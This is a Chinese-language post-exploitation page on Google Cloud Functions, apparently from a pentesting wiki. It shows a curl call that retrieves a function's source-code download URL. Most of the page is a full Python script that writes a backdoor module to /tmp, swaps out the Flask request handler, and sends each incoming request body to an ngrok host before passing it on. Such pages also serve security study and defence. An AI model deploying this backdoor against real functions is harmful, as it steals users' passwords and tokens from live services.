GCP - Cloud Functions Post Exploitation
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云函数
在以下位置找到有关云函数的一些信息：
GCP - Cloud Functions Enumcloudfunctions.functions.sourceCodeGet
cloudfunctions.functions.sourceCodeGet使用此权限，您可以获取一个签名的 URL 以便下载云函数的源代码：
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions/{function-name}:generateDownloadUrl \
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'窃取 Cloud Function 请求
如果 Cloud Function 管理用户发送的敏感信息（例如密码或令牌），通过足够的权限，您可以修改函数的源代码并窃取这些信息。
此外，运行在 python 中的 Cloud Functions 使用 flask 来公开 Web 服务器，如果您在 flaks 进程中发现了代码注入漏洞（例如 SSTI 漏洞），就有可能覆盖将接收 HTTP 请求的函数处理程序，以便为恶意函数，在将请求传递给合法处理程序之前窃取请求。
例如，以下代码实现了这种攻击：
import functions_framework
# Some python handler code
@functions_framework.http
def hello_http(request, last=False, error=""):
"""HTTP Cloud Function.
Args:
request (flask.Request): The request object.
<https://flask.palletsprojects.com/en/1.1.x/api/#incoming-request-data>
Returns:
The response text, or any set of values that can be turned into a
Response object using `make_response`
<https://flask.palletsprojects.com/en/1.1.x/api/#flask.make_response>.
"""
if not last:
return injection()
else:
if error:
return error
else:
return "Hello World!"
# Attacker code to inject
# Code based on the one from https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py
new_function = """
def exfiltrate(request):
try:
from urllib import request as urllib_request
req = urllib_request.Request("https://8b01-81-33-67-85.ngrok-free.app", data=bytes(str(request._get_current_object().get_data()), "utf-8"), method="POST")
urllib_request.urlopen(req, timeout=0.1)
except Exception as e:
if not "read operation timed out" in str(e):
return str(e)
return ""
def new_http_view_func_wrapper(function, request):
def view_func(path):
try:
error = exfiltrate(request)
return function(request._get_current_object(), last=True, error=error)
except Exception as e:
return str(e)
return view_func
"""
def injection():
global new_function
try:
from flask import current_app as app
import flask
import os
import importlib
import sys
if os.access('/tmp', os.W_OK):
new_function_path = "/tmp/function.py"
with open(new_function_path, "w") as f:
f.write(new_function)
os.chmod(new_function_path, 0o777)
if not os.path.exists('/tmp/function.py'):
return "/tmp/function.py doesn't exists"
# Get relevant function names
handler_fname = os.environ.get("FUNCTION_TARGET") # Cloud Function env variable indicating the name of the function to habdle requests
source_path = os.environ.get("FUNCTION_SOURCE", "./main.py") # Path to the source file of the Cloud Function (./main.py by default)
realpath = os.path.realpath(source_path) # Get full path
# Get the modules representations
spec_handler = importlib.util.spec_from_file_location("main_handler", realpath)
module_handler = importlib.util.module_from_spec(spec_handler)
spec_backdoor = importlib.util.spec_from_file_location('backdoor', '/tmp/function.py')
module_backdoor = importlib.util.module_from_spec(spec_backdoor)
# Load the modules inside the app context
with app.app_context():
spec_handler.loader.exec_module(module_handler)
spec_backdoor.loader.exec_module(module_backdoor)
# make the cloud funtion use as handler the new function
prev_handler = getattr(module_handler, handler_fname)
new_func_wrap = getattr(module_backdoor, 'new_http_view_func_wrapper')
app.view_functions["run"] = new_func_wrap(prev_handler, flask.request)
return "Injection completed!"
except Exception as e:
return str(e)Last updated
